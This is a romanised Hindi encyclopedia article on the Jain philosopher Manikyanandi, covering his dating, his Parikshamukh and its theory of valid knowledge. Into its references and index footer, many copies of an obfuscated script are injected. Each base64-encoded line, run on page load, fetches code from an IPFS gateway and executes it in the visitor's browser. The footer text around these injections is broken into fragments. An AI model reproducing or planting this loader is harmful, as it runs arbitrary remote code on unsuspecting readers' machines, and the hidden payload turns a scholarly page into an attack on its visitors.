माणिक्यनन्दि

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achary manikyanandi nandisangh ke pramukh achary the. inake guru ramanandi dadaguru vrishabhanandi aur paradadaguru padmanandi the. inake kee shishy hue. prabhachandr^[1] ne nyay shastr inhian se padha tha tatha unake 'parikshamukh' par vishalakay 'prameyakamalamarttand' nam ki vyakhya likhi thi, jisake ant mean unhoanne bhi manikyanandi ko apana guru bataya hai.

jivan parichay

manikyanandi ki ganana jain darshan ke pramukh acharyoan mean hoti hai. ve dhara nagari ke rahane vale the. nandi sangh ke achary ganiramanandi unake guru the. 'pramey ratnamala' ke anusar manikyanandi athavian shati mean hue the, kintu nayanandi virachit 'sudarshanacharit' ke anusar unaka samay ee. ki gyarahavian shati hai. adhunik vidvanh d aauktar hira lal jain ne 'siddhivinishch' tika ki prastavana mean unaka samay ee. 993-1053 bataya hai. d aauktar mahendr kumar jain yah sambhavana vyakt karate haian ki manikyanandi vidyanand ke samakalin rahe hoange aur unaka samay ee. ki 9vian shati ho sakata hai. 'jain dharm darshan' mean d aauktar mohan lal mehata likhate haian-

dasavian shatabdi mean manikyanandi ki ek hi amarakriti 'parikshamukh' is granth ka adhyayan karane se aisa spasht maloom hota hai ki unhoanne akalank ke granthoan ka poornaroopen adhyayan karake unake siddhaantoan ko atmasath kar dala tha, sath hi bharatiy darshan ki any shakhaoan mean bhi achchha parichay prapt kar liya tha. unake prakand paandity evan adhyatmik vikas ko dekhate hue 'nyayadipika' mean unhean bhagavan kaha gaya hai.

nayanandi ke anusar

ady vidya-shishy nayanandi the, jinhoanne 'sudansanachariu' evan 'sayalavihivihan' in apabhransh rachanaoan se apane ko unaka ady vidya-shishy tatha unhean 'panditachoo damani' evan 'mahapandit' kaha hai. nayanandi^[2] ne apani guru-shishy parampara ukt donoan granthoan ki prashastiyoan mean di hai. inake tatha any pramanoan ke anusar manikyanandi ka samay ee. 1028 arthat 11vian shatabdi siddh hai.

manikyanandi ke granth

manikyanandi ka 'parikshamukh' sootrabaddh granth nyayavidya ka pravesh dvar hai. khas kar akalankadev ke jatil nyay-granthoan mean pravesh karane ke lie yah nishchay hi dvar hai. tatpary yah ki akalankadev ne jo apane karikatmak nyayavinishchayadi nyay granthoan mean durooh roop mean jain nyay ko nibaddh kiya hai, use gady-sootrabaddh karane ka shrey inhian achary manikyanandi ko hai. inhoanne jain nyay ko isamean b di saral evan vishad bhasha mean usi prakar granthit kiya hai jis prakar malakar mala mean yathayogy sthan par praval, ratn adi ko gooanthata hai. is par prabhachandr ne 'prameyakamalamarttand', laghuanantaviry ne 'prameyaratnamala', ajitasen ne 'nyayamanidipika', charukirti nam ke ek ya do vidvanoan ne 'arthaprakashika' aur 'prameyaratnalankar' nam ki tikaean likhi haian.

parikshamukh mean samuddeshy

'parikshamukh' mean chh: samuddeshy haian.

pratham samuddeshy mean praman ki pratishtha huee hai aur is sambandh mean mimaansakoan ke mat par vishesh roop vichar kiya gaya hai.
dvitiy samuddeshy mean praman sambandhi charvak evan bauddhamatoan par vichar-vimarsh prastut karate hue saanvyavaharik pratyaksh par prakash dala gaya hai.
tritiy samuddeshy mean smriti adi paroksh praman ka pratipadan karate hue nyay mat par vichar kiya gaya hai.
chaturth samuddeshy mean samany vishesh sambandhi siddhaant ko spasht kiya gaya hai.
pancham samuddeshy mean keval tin sootr haian, jinamean praman ke phal ka vivechan hua hai.
shashth samuddeshy mean abhasoan evan nayoan ke svaroop par prakash dalate hue vadalakshan aur patralakshan ke prastut kiya gaya hai.

parikshamukh par prabhanand ne 'prameyakamalamartand' namak ek brihath tika likhi hai, jisamean 12 hazar shlok haian. laghu anantaviry ne is par 'prameyaratnamala' namak tika ki rachana ki hai. is par tisari tika 'prameyaratnalankar' hai, jisake rachayita bhattarak charookirti haian. 'prameyakanthika' jisake rachayita shaantivarni haian, ko 'parikshamukh' ki tika to nahian man sakate, parantu isase sambandhit ya is par adharit pustak avashy kaheange, kyoanki 'parikshamukh' ke pratham sootr ka hi yah vivechan vishleshan karata hai.

praman ke lakshan ko batate hue manikyanandi ne kaha hai ki vah jnan jo sv ka arthath apane ap ka tatha apoorvarth ka yani jise kisi any praman se nahian jana gaya hai, us vastu ka nishchay karata hai, use praman kahate haian. kintu nirvikalpak pratyaksh nishchayatmak nahian hota. at: ise praman ki koti mean nahian rakh sakate. is vichar ki pushti ke lie praman ko vyavasayatmak mana gaya hai. vyavasayatmak hone ke lie jnan ka savikalpak hona avashyak hai. naiyayikoan ke dvara sannikarshadi ko praman mana gaya hai. parantu manikyanandi aisa nahian manate. ve prakarsh ko praman ka lakshan manate haian. sanshay, viparyay aur anadhyavasay ke vyavachchhedan ke roop mean 'prakarsh' shabd ata hai. isake lie akalank ne 'avisanvadi' shabd ka prayog kiya hai.

jnan hit prapti mean sahayak hota hai aur ahit ka parihar karata hai. ajnan se hit ki prapti nahian ho sakati aur n usase ahit ka parihar hi ho sakata hai, at: vah kabhi bhi praman ki koti mean nahian rakha ja sakata. 'svarthapoorvarth vyavasayatmak jnanan pramanamh' yah praman lakshan hai. yadyapi 'apoorvarth' visheshan kumaril ke praman lakshan mean ham dekhate haian, tathapi vah akalank aur vidyanand dvara 'kathanchith apoorvarth' ke roop mean jain parampara mean bhi pratishthit ho chuka tha. manikyanandi ne bhi use apana liya. manikyanandi ka yah praman lakshan itana lokapriy hua ki uttaravarti anek jain tarkikoan ne use hi kuchh aanshik parivartan ke sath apane tark granthoan mean moordhany sthan diya.

praman ke prakar

praman ke prakaroan ke vishay mean bharatiy darshan mean ekamat nahian hai. do hi prakar ke praman mane ge haian- pratyaksh aur paroksh. manikyanandi bhi praman ke inhian do prakaroan ko manate haian.

pratyaksh

pratyaksh ko paribhashit karate hue manikyanandi ne kaha hai ki jo jnan 'vishad' hai, vahi pratyaksh hai. vishad ka ve vahi arth lete haian, jo ki akalank ne liya hai. unake anusar bhi vishad shabd ka spashtata aur nirmalata ke lie prayog hua hai. tatpary yah hai ki jo jnan spasht hai, nirmal hai use hi pratyaksh ki sanjna mil sakati hai. pun: vaishady ki vyakhya unhoanne is prakar ki hai- vah jnan jo doosare jnan ke vyavadhan se rahit hota hai tatha visheshata ke sath pratibhasit hota hai, vishad kahalata hai.

pratyaksh ke prakar

pratyaksh ke do prakar haian- mukhy aur saanvyavaharik. manikyanandi ne pahale saanvayavaharik pratyaksh ki paribhasha bataee hai. vah jnan jo indriy aur man ke madhyam se prapt hota hai tatha ekadeshat: vishad hota hai, saanvyavaharik pratyaksh kahalata hai. naiyayikoan ka kathan hai ki yadi indriy aur anindriy ko jnan ka karan ya utpadak mana jata hai to kyoan nahian arth aur alok ko bhi jnan ka karan mana jae, kyoanki jnan tatha alok ke nimitt se jnan hota hai. isaka samadhan karate hue manikyanandi ne kaha hai ki arth aur alok saanvyavaharik pratyaksh ke karan banane ke yogy nahian haian, kyoanki ye to svayan jnan ke vishay haian. jo jnan ka vishay hai, vah jnan ka karan ya utpadak kaise ban sakata hai. jisake sabhi avaran hat ge haian tatha jo samagri ki visheshata se door ho gaya hai, aise atindriy evan poorn vishad jnan ko mukhy pratyaksh kahate haian. jo jnan indriyoan se utpann hota hai, tatha jisaka avaran poornaroopen hatata nahian, us jnan par pratibandh ki sanbhavana rahati hai. aisi sthiti mean usaki vishadata sankuchit ho jati hai. phir vah mukhy pratyaksh ki koti mean nahian a sakata. mukhy pratyaksh mean avadhi jnan, man paryayajnan aur keval jnan ate haian tatha saanvyavaharik pratyaksh mean matijnan.

paroksh

jo pratyaksh se bhinn hota hai, use paroksh kahate haian. aisa bhi kaha ja sakata hai ki jisaka nimitt pratyaksh hota hai, vah paroksh hai. usake paanch bhed hote haian- smriti, pratyabhijnan, tark, anuman aur agam. dharan kiye hue sanskar ke prakat hone par 'tath' arthath 'vah' ke akar mean jo jnan prapt hota hai, use smriti kahate haian. 'yah vahi hai', is jnan mean 'yah' vartaman se sambandhit hai aur is 'vahi' ka sambandh bhoot se hai. at: is jnan ka sambandh vartaman aur bhoot donoan se hi hai. aise jnan ko pratyabhijnan kahate haian. naiyayik adi darshanikoan ne sadrishy ke lie upaman praman mana hai. kintu manikyanandi ne kaha hai ki yadi sadrishy ya sadharmy ke ke lie upaman praman hoga to vaidharmy ke lie kaun sa praman hoga. sanjni padarthoan ke pratipadan ke lie kaun sa praman hoga aur 'yah isase alp hai', 'yah isase mahanh hai', 'yah isase door hai' adi aur (isake nishedhatmak roop, jaise) 'yah isase saty nahian hai', 'yah isase mahanh nahian hai', 'yah isase door nahian hai' adi ke lie kaun kaun se praman hoange. atev upaman praman ko alag se nahian mana ja sakata. use bhi sadrishy pratyabhijnan mean samavisht samajhana chahie.

manikyanandi ka kathan

'upalambh' arthath anvay aur anupalambh arthath vyatirek se jo vyaptijnan prapt hota hai, use 'ooh' yani tark praman kahate haian, jaise sadhy ke hone par sadhan ka hona aur sadhy ke n rahane par sadhan ka n hona. avinabhav arthath sadhy ke bina sadhan ka n hona, sadhan ka sadhy ke hone par hi hona, abhav mean bilkul n hona, is niyam ko sarvopansahar roop se grahan karana tark hai. avinabhav ka ek udaharan hai: agni hone par dhoom ka hona aur agni ke n hone par dhoom ka bhi n hona. naiyayikoan ka mat hai ki keval pratyaksh se hi vyapti jnan sambhav hai, kintu manikyanandi ka kathan hai ki anuman athava agam praman se bhi vyapti jnan sambhav hai. soory ki gati ko ham nahian dekh pate, kyoanki soory hamase bahut door hai. phir bhi usaki gati ke sambandh mean ham anuman karate haian.

anuman ke sambandh mean manikyanandi ka kathan hai ki jab sadhan se sadhy ka jnan prapt hota hai, tab us jnan ko anuman kahate haian. sadhy ke sath jisaka avinabhav sambandh nishchit hota hai aur jo sadhy ke abhav mean nahian hota, use hetu arthath sadhan kahate haian. bauddhoan ke anusar hetu ka yah lakshan thik nahian hai. ve pakshadharmatv, sapakshadharmatv aur vipakshadh vyavritti ko hetu ka lakshan manate haian, kyoanki inhian se kramash: asiddh, viruddh aur anaikantik doshoan ka nivaran hota hai. parantu manikyanandi manate haian ki avinabhav ke hone par hi ye tinoan dosh door ho jate haian. at: hetu ke lie avinabhavi hona avashyak hai. agam us arthajnan ko kahate haian, jo aptavachan ke nimitt se hota hai.

samany ya vishesh ko praman mana jae, usake sambandh mean vibhinn mat paye jate haian. saankhy aur vedaant keval samany ko praman manate haian. bauddh darshan mean vishesh ko praman mana gaya hai, nyay vaisheshik donoan ko hi svatantr roop se praman manate haian, kyoanki in sab ke anusar padarthoan ko aise hi dekha jata hai. kintu manikyanandi ne kaha hai ki n keval samany ko, n keval vishesh ko aur n donoan ko hi svatantr roop se praman mana ja sakata hai, kyoanki vastu ka pratibhas hi aisa nahian hota. vastu mean samany aur vishesh donoan ek sath pae jate haian. at: samany visheshatmak padarth praman ka vishay ho sakata hai. samany ya vishesh ko ekant roop se athava svatantr roop se donoan ko praman ka vishay manana vishayabhas hai.

praman ke char phal hote haian

ajnan ki nivritti, han, upadan aur upeksha. ye phal praman se bhinn aur abhinn donoan hi hote haian. inhean do vargoan mean rakhate haian- sakshatphal aur paranparyaphal. kisi vastu ke janate hi tatkal jo labh prapt hota hai, use sakshatphal kahate haian, jaise ajnan ki nivritti. vastu ke janane ke bad paramparagat roop se jo labh prapt hota hai, use paramparyaphal kahate haian. is koti mean han, upadan aur upeksha ko rakhate haian. vastu ko janane ke bad use ahitakar samajhakar tyag dena han hai. hitakar samajhakar grahan karana upadan hai aur jisase hit aur ahit ki koee bhi sambhavana n ho, use aisa samajh kar tyag dena upeksha kahi jati hai.

praman ke svaroop, sankhya, vishay aur phal par vichar karane ke bad manikyanandi b de ooanche hi svar mean udghosh karate haian ki inase bhinn jo kuchh bhi haian, ve tadabhas haian. ye abhas char prakar ke hote haian-

svaroopabhas- jo praman ke sahi svaroop ke abhav mean hi abhasit hota hai.
sankhyabhas- praman ki ayatharth sankhya ka abhasit hona.
vishayabhas.
phalabhas- praman se usake phal ko bilkul bhinn athava abhinn samajhana.

is prakar ek hi granth ki rachana karake manikyanandi ne jain nyay mean apana pratiman sthapit kar diya hai.

tika tippani aur sandarbh

sinha, d aau. vashisht narayan vishv ke pramukh darshanik (hindi). bharatadiskavari pustakalay: vaijnanik tatha takaniki shabdavali ayog, nee dilli, 391.<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

↑ ee. 1053
↑ vi. san. 1100, ee. 1043

sanbandhit lekh

varnamala kramanusar lekh khoj

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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> t <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> th <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> d <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> dh <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> n <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> t <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> th <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> d 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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jn <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aau <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> shr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>aah

[1] . 1053

[2] vi. san. 1100, ee. 1043

[1]

[2]